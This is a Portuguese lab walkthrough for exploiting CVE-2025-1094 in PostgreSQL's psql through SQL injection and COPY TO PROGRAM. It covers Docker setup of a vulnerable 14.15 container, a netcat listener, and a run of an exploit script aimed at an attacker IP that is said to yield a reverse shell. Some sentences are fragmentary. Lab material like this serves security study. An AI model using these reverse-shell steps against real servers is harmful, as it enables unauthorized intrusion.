
Laboratório prático para explorar a CVE-2025-1094, uma injeção de SQL no psql do PostgreSQL que leva a RCE via COPY TO PROGRAM, com configuração em Docker e payload de reverse shell.
⚠️ Aviso
Este laboratório é apenas para fins educacionais e de pesquisa.
NÃO utilize qualquer informação ou técnica demonstrada aqui em sistemas que você não possua ou para os quais não tenha permissão explícita para testar. O uso não autorizado desses métodos pode violar leis e resultar em penalidades severas.
CVE-2025-1094 é uma vulnerabilidade crítica que afeta a ferramenta interativa psql do PostgreSQL, descoberta na versão 14.15 e anteriores.
Ela permite que atacantes realizem Injeção de SQL, o que pode levar à Execução Remota de Código (RCE) sob certas condições.
A vulnerabilidade surge do tratamento inadequado de entrada UTF-8 malformada no psql.
Devido à validação insuficiente, atacantes podem injetar SQL arbitrário ou meta-comandos como ! (escape de shell), e até mesmo explorar COPY ... TO PROGRAM para executar comandos do sistema.
COPY TO PROGRAM: Atacantes podem executar comandos de shell arbitrários, como:
/etc/passwd)psql com entrada não confiável (ex.: BeyondTrust PRA, Remote Support) está particularmente exposto.Instale o Docker:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 Reinicie ou faça logout e login novamente para aplicar as permissões do grupo Docker.
Instale Python e as dependências:
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ Garanta a conectividade de rede entre as máquinas do atacante e da vítima.
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
Após iniciar o contêiner, verifique se tudo está funcionando com os seguintes comandos:
1. Verifique se o contêiner PostgreSQL está em execução:
sudo docker ps
📌 Você deve ver um contêiner chamado vulnerable_postgres escutando na porta 5432.
2. Acesse o contêiner e inspecione o banco de dados:
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
Dentro do shell do psql, execute:
SELECT * FROM users;
Saída esperada:
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
Saia do psql:
\q
✅ Agora sua instância PostgreSQL vulnerável está em execução e pronta para exploração.
3. Ligue o contêiner novamente
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM para executar comandos de shell arbitrários💡 Dica: Você pode criar um snapshot deste contêiner vulnerável e reutilizá-lo posteriormente sem reconstruir o ambiente.